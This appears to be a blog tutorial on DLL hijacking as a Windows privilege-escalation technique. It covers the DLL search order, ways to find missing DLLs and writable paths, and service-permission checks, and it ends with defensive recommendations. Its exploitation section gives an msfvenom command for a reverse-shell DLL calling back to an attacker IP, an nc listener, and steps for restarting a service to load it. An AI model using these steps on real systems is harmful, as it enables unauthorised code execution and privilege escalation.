[Privilege Escalation] DLL Hijacking

DLL Hijacking is a type cyberattack where a malicious actor takes advantage of a system’s search order for dynamic link libraries (DLL) to load and execute malicious code instead of legitimate libraries. In other words, it refers to tricking a program to load a harmful code library instead of the intended safe one. Before going into details, let’s take a look at DLL Files.

What is a DLL file?

DLL (stands for dynamic link library) is a file containing reusable code and data which multiple programs can use at the same time to perform different functions, improving efficiency and modularity in software development.

Imagine you have a box of LEGO bricks. Each brick functions as a unique tool that may be used for a variety of activities. Now, certain tools are kept in smaller boxes with names like “drawing tools,” “building tools,” and so on instead of everything being kept in one large box.

Similar to those smaller boxes with labeling are DLLs. It is a set of resources that various software applications may use. When a software requires a tool, it searches for it in the appropriate named box (DLL). As you would choose the appropriate LEGO set to discover the appropriate tool for the job. One DLL file can be used by different programs at the same time.

Dynamic-link library is Microsoft’s implementation of the shared library concept in the Microsoft Windows, so if you want to know more about this concept, you can search for “shared libraries”.

How DLL Works?

At this point we know what a DLL is and why it is used. Below let’s see how a DLL works after you click a program that requires it step by step.

Loading dll into memory

After you click on a executable (.exe), the operating system (OS) loads the program into memory and starts its execution. If the program requires a DLL, the operating system will first need to load the DLL into memory. This is done by searching for the DLL in a few different locations, such as the system directory, the program directory, and the current directory. Once the DLL is found, it is loaded into memory and made available to the program.

Load-time vs. run-time dynamic linking

When you load a DLL in an application, two methods of linking let you call the exported DLL functions. The two methods of linking are load-time dynamic linking and run-time dynamic linking. — From MS Learn

Load time linking

The linker resolves all the references to functions and variables in the DLL at compile time.
This means that the program can call functions in the DLL directly, without having to load the DLL into memory at runtime.
This makes executable file bigger, but makes the program faster.

Runtime linking

The linker does not resolve all the references to functions and variables in the DLL at compile time.
Instead, it creates a stub in the program’s executable file that calls the LoadLibraryEx function to load the DLL into memory at runtime.
The program can then call functions in the DLL by calling the GetProcAddress function to get the address of the function in the DLL.
This makes the program’s executable file smaller, but it also makes the program slower.
DLL Search Order
When you start an .exe file file that requires a DLL, The DLL loader (is a part of the operating system) starts searching for that specific DLL on the system. The files are searched according to certain rules, known as DLL Search Order.

The default DLL search order for Windows is as follows:

The directory from which the application is loaded.
The system directory. (example: “C:\Windows\System32″)
The Windows Directory (“C:\Windows.”)
The current directory.
Directories Listed in the system PATH Environment Variable
Directories in the user PATH environment variable
The directories that are listed in the PATH environment variable.

That is the default search order with SafeDllSearchMode enabled. When it’s disabled the current directory escalates to second place. To disable this feature, create the HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode registry value and set it to 0 (default is enabled).

This concept is critical in DLL hijacking. During this process, we can inject our own malicious DLLs into locations where DLL Loader searches for the innocent DLL.

DLL Hijacking

After having an idea about DLL files and their working mechanism, we can dig into the concept of DLL hijacking.

What is the idea of DLL hijacking?

Most of the time the main idea is to exploit the search order that programs use to find and load DLLs. An attacker can mislead a software into loading harmful code instead of the genuine DLL by inserting a malicious DLL in a spot where the program looks for DLLs. This way an attacker can escalate privileges and gain persistence on the system.

there are several options, and the effectiveness of each depends on how the program is set up to load the necessary DLLs. Potential strategies include:

Phantom DLLs: It works by placing a fake malicious DLL with a name similar to a legitimate one in a directory where a program searches for DLLs, potentially causing the program to load the malicious phantom DLL instead of the intended legitimate DLL.

DLL replacement: In DLL replacement the attacker tries to swap out a legitimate DLL with a malicious one. It can be combined with DLL Proxying.

DLL Search Order Hijacking: In a search order hijacking attack, an attacker manipulates the order in which a program looks for dynamic link libraries (DLLs), allowing them to store a malicious DLL at a location that the program searches first, resulting in the malicious DLL being loaded instead of the genuine one.

DLL Side Loading Attack: Attackers may use side-loading DLLs to run their own malicious payloads. Side-loading includes controlling which DLL a program loads, similar to DLL Search Order Hijacking. However, attackers may directly side-load their payloads by putting a legitimate application in the search order of a program, then calling it to execute their payload(s), as opposed to just planting the DLL and waiting for the victim application to be executed.

Finding Missing DLL Files

Missing DLL files are a great opportunity for attackers to take advantage of their absence. If a DLL is missing from the system, they can try to place an imitation of the original DLL to use for their own purposes, including escalating privileges.

WinPEAS

1. Automated scripts such as WinPEAS can also help identify Weak Permissions in services:

winpeas.exe quiet servicesinfo

2. It also tests the paths to know which ones are writable

ProcMon

Process Monitor can be used to track down failed DLL loadings in the system. Here’s how to do it step by step:

1. Download Process Monitor from (https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)

2. Run “pocmon.exe” as Administrator.

3. Click the filter button in the top.

4. You need to add two filters.

Result is NAME NOT FOUND Include
PATH ends with .dll Include

5. Click on Apply and OK

6. Now you can see a list of missing DLL’s in various processes. These load failures can be exploited by attackers in DLL Hijacking.

Note: It is important to meet these requirements for DLL hijacking

You can control the service
The location should be writable

If you are looking for missing dlls in general you leave this running for some seconds.

If you are looking for a missing dll inside an specific executable you should set another filter like “Process Name” “contains” “<exec name>”, execute it, and stop capturing events.

Test file paths

1. Display the directories that are part of the environmental path

echo %PATH%

2. Test each of the directories looking for write permissions

acacls <folder>
acacls C:\Temp

NOTE: The main icacls permissions are as follows:

F – Full access
M– Modify access
RX – Read and execute access
R – Read-only access
W – Write-only access

3. You can also check permissions using SysInternals AccessChk

Accesschk.exe -accepteula -dqv [directory]
.\accesschk64.exe -accepteula -dqv C:\Temp

PowerUp

1. PowerUp helps you identify PATHs permissions

Invoke-AllChecks

Check the Service Info

1. We can also check all the services, and filter by the executable name found in ProcMon

wmic service get name,pathname,displayname,startmode | findstr /i dllhijackservice.exe

2. In order to list the services you can use

Get-Service

3. With the following command we can verify whether the current user has permission to restart the service

sc sdshow [service]
sc sdshow dllsvc

The initial “D:” stands for Discretionary ACL (DACL). The first letter after brackets means: allow (A) or deny (D), the next set of symbols are the assignable permissions:

CC — SERVICE_QUERY_CONFIG (request service settings)
LC — SERVICE_QUERY_STATUS (service status polling)
SW — SERVICE_ENUMERATE_DEPENDENTS
LO — SERVICE_INTERROGATE
CR — SERVICE_USER_DEFINED_CONTROL
RC — READ_CONTROL
RP — SERVICE_START
WP — SERVICE_STOP
DT — SERVICE_PAUSE_CONTINUE

Note: In this case the current user has access to stop and start the service.

Exploiting Missing Dlls

In order to escalate privileges, the best chance we have is to be able to write a dll that a privilege process will try to load in some of place where it is going to be searched. Therefore, we will be able to write a dll in a folder where the dll is searched before the folder where the original dll is (weird case), or we will be able to write on some folder where the dll is going to be searched and the original dll doesn’t exist on any folder.

Prerequisites:

Know the not found dll name: hijackme.dll
Know the path of the dll: C:\temp
Know you have permissions over the service and folder

1. The first step is to generate some shellcode using MSFvenom with the following flags:

msfvenom -p windows/shell_reverse_tcp LHOST=10.9.239.141 LPORT=1111 -f dll > hijackme.dll

2. Start a listener in the local machine

nc -lvp 1111

3. Transfer the file into the target machine

4. Move the file into the target folder, in this case C:\Temp

move hijackme.dll C:\Temp

5. Assign permissions for everyone to execute

6. Now restart the service

sc stop dllsvc
sc start dllsvc

7. Check the listener

Recommendations

Specify Full Paths: Always specify the full path when loading DLLs in your code rather than relying on the system’s search order. This ensures that the application loads the intended DLL from the expected location.

Use Safe DLL Loading Functions: When loading DLLs dynamically in your code, use functions like LoadLibraryEx with the LOAD_WITH_ALTERED_SEARCH_PATH flag or SetDllDirectory to explicitly specify the directories where DLLs should be loaded from. These functions allow you to control the search order and mitigate DLL hijacking vulnerabilities.

Avoid Loading DLLs from Insecure Locations: Avoid loading DLLs from directories that are writable by standard users or that are commonly targeted by attackers (such as the current working directory or temporary directories).